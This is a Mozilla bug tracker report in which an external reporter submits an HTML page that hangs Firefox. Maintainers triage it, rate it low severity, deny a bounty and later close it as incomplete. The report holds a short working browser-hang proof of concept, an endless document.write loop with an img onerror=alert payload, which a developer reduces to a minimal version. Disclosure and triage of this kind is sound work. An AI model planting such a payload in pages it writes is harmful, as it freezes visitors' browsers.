Closed
Bug 817629
Opened 13 years ago
Closed 5 years ago
Possible DDOS in js/html
Categories
(Core :: JavaScript Engine, defect)
Tracking
()
RESOLVED
INCOMPLETE
People
(Reporter: curtisk, Unassigned)
References
Details
(Keywords: csectype-dos, reporter-external, sec-low)
Hi I have found and a Firefox DDOS Vulnerability is based on this html code make it , stop it with no responces and if you close it Firefox.exe will stay there.
HTML CODE
demo:
http://static.anonhtml.com/e4aa770f46.html
IMG:
http://i.imgur.com/6eIny.png
Hope you guys fix this vulnerabilty
I will send this exploit to Exploit-db in the next hours hope you guys fix this vulnerability.
Sergio Yoshikata Lima Perú
<!DOCTYPE html>
<html>
<body>
<script language="javascript">
var i = 2;
while (i <= 10) {
document.write ('"><img src=x onerror=alert(2)>/foobar');
i -= 2;
}
</script>
</body>
</html>
|
Reporter | |
Updated•13 years ago
|
Flags: sec-bounty?
|
|
||
Comment 1•13 years ago
|
||
So the actual "vulnerability" is just:
<script>
while (true) {
document.write("<img src="x" onerror='alert(2)'>");
}
</script>
Possibly even without the alert() bit, yes?
This is a duplicate, I would think...
Whiteboard: DUPEME
|
|
||
Comment 2•13 years ago
|
||
Yeah that's the vulnerability
(In reply to Boris Zbarsky (:bz) from comment #1)
> So the actual "vulnerability" is just:
>
> <script>
> while (true) {
> document.write("<img src="x" onerror='alert(2)'>");
> }
> </script>
>
> Possibly even without the alert() bit, yes?
>
> This is a duplicate, I would think...
|
||
Comment 3•13 years ago
|
||
I will find the bug to dupe this against.
Sergio: Unfortunately this bug does not meet the severity rating to qualify for a bounty.
Flags: sec-bounty?
Flags: sec-bounty-
Flags: needinfo?(dchan+bugzilla)
|
|
||
Comment 4•13 years ago
|
||
(In reply to David Chan [:dchan] from comment #3)
> I will find the bug to dupe this against.
>
> Sergio: Unfortunately this bug does not meet the severity rating to qualify
> for a bounty.
Actually I just want to Mozilla to patch the vulnerabilty a least
Flags: needinfo?(dchan+bugzilla)
|
||
Updated•12 years ago
|
Group: core-security
Whiteboard: DUPEME
|
Assignee | |
Updated•11 years ago
|
Assignee: general → nobody
|
||
Updated•5 years ago
|
Status: NEW → RESOLVED
Closed: 5 years ago
Resolution: --- → INCOMPLETE
|
||
Updated•1 year ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•